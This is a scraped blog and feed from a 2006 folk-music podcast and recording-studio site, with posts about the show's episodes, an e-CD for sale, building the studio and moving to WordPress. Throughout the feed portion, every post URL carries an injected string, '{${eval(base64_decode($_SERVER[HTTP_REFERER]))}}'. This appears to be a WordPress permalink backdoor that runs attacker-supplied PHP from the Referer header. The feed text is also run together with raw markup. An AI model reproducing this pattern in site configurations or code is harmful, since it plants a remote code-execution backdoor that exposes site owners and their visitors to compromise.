If you’re not a RPGer, or have no interest in RPGs, it probably won’t interest you.

If you are, maybe it will.

Episodes 1-18 (now renumbered 1-01 through 1-18, so as to appear to the casual observer to be the first step in a grand plan) were part of a fairly steep learning curve.

There were several big mistakes I made in the first Instance that bit me in the ass:

1. I released episodes as soon as they were finished. I wanted to get them right out there and see what people thought. I won’t do this again.  I’m going to pre-record several episodes and release them on a schedule. I have to.
2. I left the length of the show open-ended. Not the length of each individual episode, but rather how many episodes there are going to be.
   With my work load and schedule, this led to very long gaps between episodes.  Come Spring and the Renaissance Pleasure Faire, and I’m busy as hell for three or four months straight.

So the new Angryfolk Music and Infantile Comedy Show, Instance 2, will consist of six episodes.  I’ll record them over the next few weeks or months and when the sixth episode is finished, I’ll release them once a week until they are all out.

We’ll see how this works out.

Special guest: Celtic Squall (www.celticsquall.com).

- Green Grow the Rushes O

- Coal Miner’s Song (by S. Venable)

- Little Begger Man

In the music store, you find links to eight songs in 128kbps .mp3 format you can download for free. “Free?” I hear you cry, “Ain’t much of a store, is it?” Well you’d be right if that was all there was.

There’s also a “buy it now” button for “Angryfolk Volume 1 Premium Edition.” This is an e-CD (it’s a .zip file, actually) that includes those very same eight songs, but in 256kbps .mp3 format (for a higher quality sound). In addition I’ve included extensive liner notes with complete lyrics to all eight songs and some notes about the songs or the songwriting process. In addition I’ve thrown in a couple extra songs, for a total of eleven song (well, one of them is a short bumper for Stu’s Crackpot Minute, so it’s 10.25 songs, really).

So if you’d like to help support the very irregularly released Angryfolk Music and Infantile Comedy Show, and help defer the cost of hosting, badwidth, worn out microphone cables, broken preamps, beer and Tums(tm), you can purchase the “Angryfolk Volume 1 Premium Edition” for a mere $5.00. That’s right, a complete album for five bucks.

If you don’t want to purchase the e-CD, that’s okay too. Go ahead and download any and all of the songs included there and enjoy.

Questions and Answers.

Why did you do this?

I’ve received numerous requests for many of the songs featured in the last 15 episodes of the show. In a few cases, I just emailed the .mp3s. But this should make it easier. Additionally, I’ve discovered the cost of operating a recording studio can be rather high. When all the electronic equipment is running, my electric meter spins like a friggin’ top. Additionally, with frequent use, there’s a lot of wear and tear on much of the equipment, and that equipment has to be replaced. Then there’s the beer and Tums(tm) supply.

Then there’s the monthly hosting and bandwidth costs. I have a merchant account, so I get a lot of bandwidth, but a few times, I’ve come close to hitting max and paying a penalty. If the show’s listenership continues to grow, I’ll eventually have to up the bandwidth, and that’ll be an additional cost.

So I decided to publish an e-CD and offer it for sale. I didn’t want to put up a bunch of banner ads (tried that once, and they look ugly and I hated them). I don’t want to come up with a subscription model, because I don’t think anyone would pay it, especially considering how irregularly I produce new episodes. And I’m not the sort of person to ask for donations. But if someone wants to support the show, I’ll gladly give them something of value for that support.

Why aren’t all the songs available?

Part of that is copyright issues. If I didn’t write the song, or it isn’t in the public domain, I do not have the rights to publish it here. At best I would be asked to take the song down (usually by a lawyer’s intimidating letter). Worst case, I’d get sued.

Additionally, if a performer recorded an extensive performance, I won’t publish that song either. When people come to the Bunker to record a podcast, it’s with the understanding that they’re recording for the podcast only. To publish their labors in another form would be dishonest and underhanded.

Will there be more?

Absolutely. As I get more episodes under my belt, I’ll collect more songs that I can include of future e-CDs.

What are the extra songs on the e-CD?

Like I mentioned, Stu’s Crackpot Minute theme is included. It’s just under a minute. I’ve also included two very early songs that predate the podcast: Perpwalk and Glasseye.

What if I just want to download the free stuff and not buy the e-CD?

That’s absolutely fine with me. I didn’t decide to do this to get rich. I do it because it’s fun, and if you enjoy the fruits of my efforts, that’s reward enough. If you can’t afford the e-CD and the guilt is getting the better of you, you can do a lot of other things to support the show: go on iTunes and write a glowing review; tell your friends about the show, get them to listen; or just write me an email, telling me you like the show — I love getting those emails and I read and respond to nearly every one.

That’s it. Enjoy.

Stu Venable

- The Vomit Song (performed and written by Steven & Phil Schwadron)

- O Virginia (performed and written by Steven & Phil Schwadron)

I have absolutely no idea how long it’s going to take me to get the first show in the can. I’m guessing at least three weeks, maybe longer, as I’m only working on it when the studio is empty. Certainly, the first show will take the longest, and from it I’ll gage how much time each show will take to produce and thus how frequently the show will happen.

• Obviously music will be a big part of it.
• We’ll probably have “live” in-studio performances by various band members.
• We’ve got a couple budding home recordists, so maybe we’ll feature some of their outside efforts.

Here’s the big question: What do YOU want to hear? If you’ve got suggestions, please leave them here. Or, if you’re shy, you can email me at contact at angryfolk dot com.

Sunday night, I begin the preproduction for the even more mysterious Project III.

Firstly, I’ve started recording the scratch tracks for the Merry Wives of Windsor’s third CD. They’ll start recording in earnest this Saturday, September 23rd.
Secondly, I’m working on a new “club” version of Control Z’s “Untitled One.” It’s been retitled “Control-Z Theme” and will feature a vocal chorus by Heather.

Here’s a picure of the control room. The conrol room’s been functional for a few months now.

This is the recording “booth” (I call it the tracking room). It’s built on a 12ftx8ft footprint. It was constructed with staggered wall studs and double layers of drywall, making it pretty close to soundproof. It’s heavily insulated, sports very quiet air conditioning and acoustic tiles to limit sound reflections
Upcoming projects.

So, enough babbling about studio construction. It’s time to create music. As Marty DiBergi would say, “But hey, enough of my yackin’ — let’s boogie.”

]]> http://www.angryfolk.com/2006/09/17/enough-with-the-studio-already/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 http://www.angryfolk.com/2006/08/31/paint-carpet-air-conditioning-door-seals/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.angryfolk.com/2006/08/31/paint-carpet-air-conditioning-door-seals/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 31 Aug 2006 14:57:40 +0000 Stu http://s102070753.onlinehome.us/angryfolk/?p=43 That’s pretty much all that’s left to get the studio operational. The Merry Wives of Windsor are furiously rehearsing, as they’re first in.
]]> http://www.angryfolk.com/2006/08/31/paint-carpet-air-conditioning-door-seals/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 http://www.angryfolk.com/2006/08/21/the-af-studio-is-taking-shape/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.angryfolk.com/2006/08/21/the-af-studio-is-taking-shape/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 21 Aug 2006 22:10:48 +0000 Stu http://s102070753.onlinehome.us/angryfolk/?p=42 After a full weekend (two 10-hour days) of building, the Angryfolk Studio is finally taking shape. We have a floor, a roof and four walls. This coming weekend, we’ll finish drywalling, frame the booth door and start on the air conditioning silencer.

Thanks to the following for contributing their sweat to this project: Chriss Lorusso, Wes Wright, Greg “Stork” Wilson, Jon Enge, Johnny Breen, Steven Schwadron.

It’s possible the studio could be up and running by the end of this coming weekend.

]]> http://www.angryfolk.com/2006/08/21/the-af-studio-is-taking-shape/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 http://www.angryfolk.com/2006/08/03/doing-my-own-podcast/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.angryfolk.com/2006/08/03/doing-my-own-podcast/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 03 Aug 2006 21:43:05 +0000 Stu http://s102070753.onlinehome.us/angryfolk/?p=32 I’ve become a big fan of podcasts.

It started with Inside Home Recording. One day I noticed that iTunes had a podcast directory. I was getting ready for a road trip, so I naturally searched for “Home Recording.” And there was IHR. I downloaded all of their episodes (more than 30 now) and listened to them on my road trip and for many days after that. They started out publishing a little irregularly, but now they’re hitting about every other week.

Then I discovered the Project Studio Network which is produced every week. On one of the later episodes of PSN, they had an interview with Leo Laporte. For those unaware, Laporte was a broadcaster, a virtual character on MSNBC’s “The Site,” and co-host on TechTV’s “The Screensavers.” (this is just a smattering of his credits)

Most recently, he took over the computer call-in show on KFI radio (a marked improvement over the previous host)

Tangent: Leo’s predecessor still works in the LA radio market doing the same thing. I won’t name him, but I’ll say this: it’s amazing how many of his listeners called in with problems that just “happen” to be solved by certain products, every show. I mean, seriously, if you are uninitiated enough to have to call a radio computer show, why the hell do you need to install two operating systems on your computer? If some guy wants to install Windows XP and Linux on his computer, wouldn’t you sort of classify him as a “power user” of sorts? And if he knows enough about computers to install Linux, I find it hard to believe he can’t figure out how to have two OS’s live on his hard drive. And it strikes me as odd that there are enough of these guys out there to justify a call on EVERY FRIGGIN’ SHOW. A-hem

Back to Leo. While he was being interviewed on the Project Studio Network, he mentioned his empire of podcasts, all of which can be found at twit.tv. “Twit” stands for “This Week in Tech.” Most of his shows are weekly, so there’s new content nearly every day of the week.

Of course, the first podcasts I listened to were by recording engineers or professional broadcasters. That being said, I fell in love with a new media by hearing the cream of the crop.

I even considered doing my own podcast.

Then I listened to the rest of the crop. Holy cripes. I heard someone say how wonderful podcasting is, because now anyone with a PC can make their own talk show. [sarcasm]Boy, is that a blessing![/sarcasm]

I’ve heard podcasts by people who literally can’t talk — where every other word is “uh.” They press “record” and have no idea what they’re going to say. Why did you press record? How about jotting down a few notes, Mr. Murrow?

As I listened to these amateur podcasts, I was dissuaded from the idea of producing my own podcast. I definitely don’t want to be that lame – seriously. Then I realized: I can’t be that lame. I’ll recognize my lameness and just delete the file.

So now, doing a podcast is on my list of things to do. It’ll have opinion pieces (because I’m pretty opinionated), arguments, interviews with all my band mates – maybe even have someone jump in the studio to perform a song they’ve just finished (or are working on).

If it turns out to be worth a crap, maybe you’ll hear it.

]]> http://www.angryfolk.com/2006/08/03/doing-my-own-podcast/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 1 http://www.angryfolk.com/2006/08/02/spiders/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.angryfolk.com/2006/08/02/spiders/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 02 Aug 2006 17:59:41 +0000 Stu http://s102070753.onlinehome.us/angryfolk/?p=30 As our recording space was without doors for some time, it was open to all of nature’s vagrants, attempting to squat on our property.

Despite bug bombs and various sprays, one particularly tenacious black widow (laden with eggs, no less) managed to survive.

Last night, while duping a CD, bandmate Tappy notices HUNDREDS of tiny spiders in little micro webs up one side of my control room. Luckily, they were very tiny and many weren’t even very visible. Had they been larger, poor Tappy would have gone into some sort of a fugue state, what with the arachophobia.

So off to the store again to obtain more WMD for the next onslaught.

]]> http://www.angryfolk.com/2006/08/02/spiders/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 http://www.angryfolk.com/2006/08/01/recording-thoughts-added/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.angryfolk.com/2006/08/01/recording-thoughts-added/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 01 Aug 2006 23:12:48 +0000 Stu http://s102070753.onlinehome.us/angryfolk/?p=29 I added a page (you can see it in the menu on the right), detailing some things I’ve learned (or been taught) about recording. It’s a work in progress. It’ll grow as I learn from more mistakes…
]]> http://www.angryfolk.com/2006/08/01/recording-thoughts-added/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 http://www.angryfolk.com/2006/07/31/construction-has-begun/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.angryfolk.com/2006/07/31/construction-has-begun/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 31 Jul 2006 18:45:37 +0000 Stu http://s102070753.onlinehome.us/angryfolk/?p=27 Yesterday (Sunday, July 30th) I framed out the floor and one wall. I also built a rack for the equipment. Pictures coming soon.
]]> http://www.angryfolk.com/2006/07/31/construction-has-begun/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 http://www.angryfolk.com/2006/07/23/angryfolk-studio-construction/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.angryfolk.com/2006/07/23/angryfolk-studio-construction/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 24 Jul 2006 03:16:59 +0000 Stu http://s102070753.onlinehome.us/angryfolk/?p=22

We’re a few weeks from beginning construction of the third (and hopefully final) Angryfolk studio. The first Angryfolk Studio consisted of two spare bedrooms in my old house (one the control room and one the isolation room. In this space we recorded the Belles’ “Who’s Your Sire?” the Merry Wives’ “Here’s to the Men,” and the beginnings of the Boggards “Whiskey Business.”

Less than half of that Boggards CD was recorded when I moved to Pasadena. In that Pasadena garage, we build an 8×8x8 box that served as our iso booth. The construction materials for that booth came from the disassembled set from the Renaissance Pleasure Faire. (This is one of the reasons it took 18 months to record “Whiskey Business.”)

]]> http://www.angryfolk.com/2006/07/23/angryfolk-studio-construction/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 http://www.angryfolk.com/2006/07/13/hello-world/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.angryfolk.com/2006/07/13/hello-world/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 13 Jul 2006 04:30:13 +0000 Stu 1390865351 This is the newest version of angryfolk.com. We’re using the Wordpress CMS, which is easier to update and more powerful than blogger. There will be content, someday.
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